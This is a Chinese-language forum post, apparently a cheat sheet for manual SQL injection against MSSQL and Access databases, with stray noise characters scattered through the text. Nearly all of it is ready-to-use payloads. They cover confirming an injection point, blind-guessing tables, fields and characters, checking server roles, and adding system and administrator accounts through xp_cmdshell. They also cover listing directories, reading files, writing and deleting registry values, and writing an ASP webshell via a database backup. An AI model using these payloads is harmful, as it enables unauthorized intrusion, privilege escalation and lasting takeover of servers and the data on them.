手工脚本注入

admin

手工脚本注入
6 G% d* S  }4 y1.判断是否有注入;and 1=1 ;and 1=2

! a* _7 ^- f6 r8 {% {" b/ \9 M! g6 W2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

# V+ i( q" t( n1 }# H4.搜索时没过滤参数的'and [查询条件] and '%25'='

5.判断数据库系统
, k- r. g; H! r8 G. I# f$ };and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
" G3 f& i6 [5 X; x0 x; ]
6.猜数据库 ;and (select Count(*) from [数据库名])>0
( Y) f% r4 ]5 U5 w- h
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
+ h. `! V6 r8 p: b, |2 P2 _) _
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

! v$ S' r; N" F6 D3 [(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

0 Q  k, l: b& |: b* K4 b10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
- |, G5 }5 o+ p;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
/ }1 f& E( q  }) u, j8 C;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
& ]' {& r6 e2 x$ q( r1 u;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
0 f7 |* [, l% n; g+ o8 r;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

* q1 y) B; y% x  Z# R11.添加mssql和系统的帐户
* A; L4 w: h' W5 D! q# V;exec master.dbo.sp_addlogin username;--

) L- H% O6 w( ]1 h' j! V1 |$ h;exec master.dbo.sp_password null,username,password;--

: }. g+ o- M( u5 L6 H6 b$ _5 l) k;exec master.dbo.sp_addsrvrolemember sysadmin username;--
+ W9 W; G* a9 I; M& g$ T
  }! G8 B0 j1 }/ O. i0 w;exec master.dbo.xp_cmdshell 'net user username password
4 j$ D) ~& D5 R. r3 \/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

+ `6 L% X- f& D, D1 j3 E+ l;exec master.dbo.xp_cmdshell 'net user username password /add';--
( k2 ^* I8 K2 m, h' A5 s" ~' X
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
; A  a5 y& O9 [! j
8 s" t) J9 R3 @7 W9 P, j12.(1)遍历目录
" J* {; R0 b! F: Z3 [& |8 a( ~
" C5 i, c1 n" C: j  x  A;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

3 e5 C/ s) I6 R  {$ O(2)遍历目录
) G0 N. b! o' w3 i1 W;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
4 {' j3 g. @6 w$ }4 D;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
8 E4 i+ C3 \4 G2 d  |( S, ]6 i;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
* Z( B( a! O+ s;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

/ R& a' \9 c# w7 i5 T4 B, l- f13.mssql中的存储过程
1 E# F! k! A  @  R) q* A: J
xp_regenumvalues 注册表根键, 子键
& V9 d& o& R8 b0 y;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
: [/ }3 T' D& c$ C1 i
xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

* G3 `  v; ^8 T0 ^0 dxp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
) M5 {+ [$ _; a, e;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名
" l  \( S  z* f+ w4 x
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

, }4 f- |& {; B: o0 {! f) i  Lxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
" P& D: D* v' h: E7 o5 Q$ w7 q0 ]& ~use model
, f( I6 D% z+ \) h) }) u3 Rcreate table cmd(str image);
insert into cmd(str) values ('');
- M) N+ w5 T/ q6 U( tbackup database model to disk='c:\l.asp';
% J4 U) E) x# }3 [4 r. z* s
" ~: W$ y0 c: O& C15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
! n+ l; m) g/ L;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

8 ?  ^/ o2 _9 P- ^% Y16.简洁的webshell
' a' z" c) U3 q- e) j7 T6 K9 H# `
* V1 b+ {$ I# N8 K, R7 F3 Cuse model
0 p' S; @' v/ f2 s0 u
create table cmd(str image);

insert into cmd(str) values ('');

& S8 m6 M8 e% k; v9 b7 hbackup database model to disk='g:\wwwtest\l.asp';

老男孩

现在很多防注入啊，有其他注入字符码